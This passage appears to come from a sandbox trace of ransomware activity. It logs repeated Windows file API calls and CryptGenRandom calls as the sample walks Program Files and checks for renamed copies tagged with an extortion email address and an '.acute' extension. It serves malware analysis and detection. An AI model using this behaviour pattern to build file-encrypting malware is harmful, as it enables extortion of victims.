Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0273.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.303] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.307] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=716) returned 1 [0273.307] CloseHandle (hObject=0x37c) returned 1 [0273.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0273.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.311] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.311] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=169637) returned 1 [0273.311] CloseHandle (hObject=0x368) returned 1 [0273.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0273.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.312] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0273.317] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2702) returned 1 [0273.317] CloseHandle (hObject=0x304) returned 1 [0273.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0273.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.322] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.323] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=14610) returned 1 [0273.323] CloseHandle (hObject=0x37c) returned 1 [0273.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0273.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.323] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.323] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=14951) returned 1 [0273.323] CloseHandle (hObject=0x37c) returned 1 [0273.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0273.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.497] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.503] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=623) returned 1 [0273.503] CloseHandle (hObject=0x368) returned 1 [0273.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0273.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.666] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.669] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=125292) returned 1 [0273.669] CloseHandle (hObject=0x30c) returned 1 [0273.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv")) returned 0x20 [0273.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.689] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.693] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=189214) returned 1 [0273.693] CloseHandle (hObject=0x37c) returned 1 [0273.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv")) returned 0x20 [0273.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.693] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.693] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=237208) returned 1 [0273.693] CloseHandle (hObject=0x37c) returned 1 [0273.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv")) returned 0x20 [0273.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.693] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.694] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1545) returned 1 [0273.694] CloseHandle (hObject=0x37c) returned 1 [0273.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png")) returned 0x20 [0273.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.694] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.694] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=9115) returned 1 [0273.694] CloseHandle (hObject=0x37c) returned 1 [0273.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png")) returned 0x20 [0273.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.694] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.697] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1369) returned 1 [0273.697] CloseHandle (hObject=0x30c) returned 1 [0273.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png")) returned 0x20 [0273.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.697] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.697] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1285) returned 1 [0273.697] CloseHandle (hObject=0x30c) returned 1 [0273.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png")) returned 0x20 [0273.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.697] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.246] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4726) returned 1 [0274.246] CloseHandle (hObject=0x30c) returned 1 [0274.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp")) returned 0x20 [0274.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.246] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0274.325] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=24557) returned 1 [0274.325] CloseHandle (hObject=0x2f8) returned 1 [0274.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png")) returned 0x20 [0274.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.325] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.413] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5025) returned 1 [0274.413] CloseHandle (hObject=0x37c) returned 1 [0274.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png")) returned 0x20 [0274.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.413] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD 